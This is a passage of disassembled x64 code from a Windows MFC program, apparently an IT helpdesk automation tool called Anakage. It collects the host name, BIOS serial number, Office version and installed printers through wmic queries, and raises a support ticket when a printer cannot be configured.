lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8593
lea rdx, str.lync2010
lea rcx, [rsp + 0x1c0]
call fcn.14000d8d0
test al, al
setne sil
lea rcx, [rsp + 0x528]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, [0x14016f0b0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8a1a
lea rcx, [rsp + 0xc88]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0xc80]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x538]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea r8, [rsp + 0x3c0]
lea rdx, [rsp + 0xc80]
lea rcx, [rsp + 0xc88]
call fcn.1400f1ac0
call fcn.1400ef530
mov rdx, rax
lea rcx, [rsp + 0x538]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
mov dword [rsp + COleMessageFilter::~COleMessageFilter], 0x208
lea r8, [rsp + 0x564]
lea rdx, [rsp + 0x10320]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExA]
lea rdx, [rsp + 0x10320]
lea rcx, [rsp + 0x278]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
nop
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x278]
call fcn.14000d8d0
test al, al
je 0x1400a86a3
lea rdx, str.WORK_GROUP
lea rcx, [rsp + 0x278]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rdx, [0x140150958]
lea rcx, [rsp + 0xc78]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140150958]
lea rcx, [rsp + 0xc70]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x3c0]
lea rdx, str.Your_Host_Name___Ip_Address___Domain_Name_respectively_is
lea rcx, [rsp + 0x1d50]
call fcn.14009c1e0
nop
lea r8, [rsp + 0xc70]
mov rdx, rax
lea rcx, [rsp + 0x1d48]
call fcn.140006490
nop
lea r8, [rsp + 0x538]
mov rdx, rax
lea rcx, [rsp + 0x1d40]
call fcn.140006490
nop
lea r8, [rsp + 0xc78]
mov rdx, rax
lea rcx, [rsp + 0x1d38]
call fcn.140006490
nop
lea r8, [rsp + 0x278]
mov rdx, rax
lea rcx, [rsp + 0x1d30]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1d30]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d40]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d48]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d50]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.WMIC_BIOS_GET_SERIALNUMBER
lea rcx, [rsp + 0x1d58]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x530]
call fcn.1400fc5a0
nop
xor r8d, r8d
lea rdx, [0x1401569d8]
lea rcx, [rsp + 0x530]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x530]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x530]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015eb14]
lea rcx, [rsp + 0x270]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1d60]
lea rcx, [rsp + 0x270]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x270]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1d60]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea r8, [rsp + 0x3c0]
lea rdx, str.Your_Hostname___Ip_Address___Domain_Name_respectively_is
lea rcx, [rsp + 0x1d98]
call fcn.14009c1e0
nop
lea r8, [0x14016f1b8]
mov rdx, rax
lea rcx, [rsp + 0x1d90]
call fcn.14007b460
nop
lea r8, [rsp + 0x538]
mov rdx, rax
lea rcx, [rsp + 0x1d88]
call fcn.140006490
nop
lea r8, [0x14016f1b8]
mov rdx, rax
lea rcx, [rsp + 0x1d80]
call fcn.14007b460
nop
lea r8, [rsp + 0x278]
mov rdx, rax
lea rcx, [rsp + 0x1d78]
call fcn.140006490
nop
lea r8, str._and_Serial_Number_is
mov rdx, rax
lea rcx, [rsp + 0x1d70]
call fcn.14007b460
nop
lea r8, [rsp + 0x270]
mov rdx, rax
lea rcx, [rsp + 0x1d68]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1d68]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d70]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d78]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d88]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d98]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x270]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x530]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x278]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x538]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc80]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc88]
jmp 0x14009cc67
xor r8d, r8d
lea rdx, str.officeVersionDetection
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x1400a8c7c
xor sil, sil
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x130]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1da0]
lea rcx, [rsp + 0x130]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x130]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1da0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call fcn.140101620
nop
xor r8d, r8d
lea rdx, str.16.0
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8b11
lea rdx, str.2016
lea rcx, [rsp + 0x130]
call fcn.14000d8d0
test al, al
setne sil
jmp 0x1400a8bb8
xor r8d, r8d
lea rdx, str.15.0
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8b49
lea rdx, str.2013
lea rcx, [rsp + 0x130]
call fcn.14000d8d0
test al, al
setne sil
jmp 0x1400a8bb8
xor r8d, r8d
lea rdx, str.14.0
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8b81
lea rdx, str.2010
lea rcx, [rsp + 0x130]
call fcn.14000d8d0
test al, al
setne sil
jmp 0x1400a8bb8
xor r8d, r8d
lea rdx, str.12.0
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a8bb8
lea rdx, str.2007
lea rcx, [rsp + 0x130]
call qword [sym.imp.mfc140u.dll_Ordinal_2903]
test eax, eax
sete sil
lea rax, [rsp + 0x1da8]
mov qword [rsp + 0x58], rax
lea rdx, str._:_Detected_version
lea rcx, [rsp + 0xc90]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0xc90]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x1db8]
call fcn.140006490
nop
lea r8, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
mov rdx, rax
lea rcx, [rsp + 0x1da8]
call fcn.140006490
mov rbx, rax
lea rdx, str.officeVersionDetection_condition:
lea rcx, [rsp + 0x1db0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x1db8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xc90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + reloc.mfc140u.dll_CHandleMap::CHandleMap]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x130]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.verifyFromPrinterList
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a9493
lea rax, [rsp + 0x1dc0]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1dc0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.At_start_of_verifyFromPrinterList
lea rcx, [rsp + 0x1dc8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
xor sil, sil
mov byte [rsp + 0x78], sil
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x280]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x120]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, ebx
lea rdx, [rsp + 0x1dd0]
lea rcx, [rsp + 0x280]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x280]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1dd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.PrinterScript
lea rcx, [rsp + 0x280]
call fcn.14000d8d0
lea rdx, [0x140153b2c]
test al, al
je 0x1400a8e99
lea rax, [rsp + 0x1dd8]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1dd8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.In_verifyFromPrinterList_PrinterScript
lea rcx, [rsp + 0x1de0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rcx, [rsp + 0x1de8]
call fcn.1400ffe50
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1de8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1df0]
mov qword [rsp + 0x58], rax
lea rdx, str.In_verifyFromPrinterList_After_PrinterScript_getting_printername:
lea rcx, [rsp + 0xc98]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1df0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0xc98]
lea rcx, [rsp + 0x1df8]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xc98]
jmp 0x1400a8fa8
lea rax, [rsp + 0x1e00]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1e00]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.In_Else_blocknot_a_printerscript_verifyFromPrinterList_before_PrinterScript
lea rcx, [rsp + 0x1e08]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x2e0
lea rcx, [rsp + 0xca0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rdx, [rsp + 0xca0]
lea rcx, [rsp + 0x120]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xca0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov edx, 0x22
lea rcx, [rsp + 0x120]
call qword [sym.imp.mfc140u.dll_COleSafeArray::PutElement]
lea rax, [rsp + 0x1e10]
mov qword [rsp + 0x58], rax
lea rdx, str.In_Else_blocknot_a_printerscript_verifyFromPrinterList_After_PrinterScript_getting_printername:
lea rcx, [rsp + 0xca8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1e10]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0xca8]
lea rcx, [rsp + 0x1e18]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xca8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x58], rax
lea rdx, str.verifyFromPrinterList_condition__Checking_installed_printers:
lea rcx, [rsp + 0xcb0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1e20]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0xcb0]
lea rcx, [rsp + 0x1e28]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xcb0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.wmic_printer_get_name
lea rcx, [rsp + 0x1e30]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x1e38]
call fcn.1400fc5a0
nop
mov rdx, rax
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1e38]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1e40]
mov qword [rsp + 0x58], rax
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1e40]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.verifyFromPrinterList_condition__after_checking_printers
lea rcx, [rsp + 0x1e48]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
jmp 0x1400a9104
lea rax, [rsp + 0x1e70]
mov qword [rsp + 0x58], rax
lea rdx, str.verifyFromPrinterList_condition__printerName:
lea rcx, [rsp + 0xcb8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1e70]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1e78]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xcb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0x58], rax
lea rdx, str.verifyFromPrinterList_condition__Added_printer_list:
lea rcx, [rsp + 0xcc0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x140153b2c]
lea rcx, [rsp + 0x1e80]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea r8, [rsp + 0x3e0]
lea rdx, [rsp + 0xcc0]
lea rcx, [rsp + 0x1e88]
call fcn.140006490
nop
mov r8d, 0xffffffff
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0xcc0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x120]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rdx, rax
xor r8d, r8d
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
setns bl
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3c0
lea rcx, [rsp + 0x3d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x250
lea rcx, [rsp + 0x3c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x3d8]
call qword [sym.imp.mfc140u.dll_CPngImage::LoadFromBuffer]
mov rdx, rax
lea rcx, [rsp + 0x3d8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
xor r8d, r8d
lea rdx, [0x14015eb14]
lea rcx, [rsp + 0x3c8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400a92e1
mov r8d, eax
lea rdx, [rsp + 0x1e90]
lea rcx, [rsp + 0x3c8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1e90]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400a92f7
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
test bl, bl
je 0x1400a9303
mov sil, 1
jmp 0x1400a93eb
lea rdx, [0x140151868]
lea rcx, [rsp + 0x3d8]
call fcn.14000d8d0
test al, al
je 0x1400a93eb
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rcx, rax
lea rdx, [0x14016afcc]
call fcn.14000d8d0
test al, al
je 0x1400a93eb
lea rdx, [0x14014f8c8]
lea rcx, [rsp + 0x6d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.Anakage_Failure_Communication:_Ticket_has_been_created_by_Anakage._Trouble_configuring_the_below_printer._Please_assist_in_installing_the_same__Printer_details
lea rcx, [rsp + 0x6d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x1e98]
mov qword [rsp + 0x58], rax
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x2e0
lea rcx, [rsp + 0xcc8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea r8, [rsp + 0xcc8]
lea rdx, [rsp + 0x6d8]
lea rcx, [rsp + 0x1e98]
call fcn.140006490
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
nop
mov rdx, rbx
mov rcx, qword [rax + 8]
call fcn.1400afa70
nop
lea rcx, [rsp + 0xcc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x6d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1ea0]
mov qword [rsp + 0x58], rax
lea rdx, str.contionsatisfied
lea rcx, [rsp + 0x1ea0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, str.At_end_of_verifyFromPrinterList_condition__:
lea rcx, [rsp + 0x1ea8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
movzx r8d, sil
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x3c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x120]
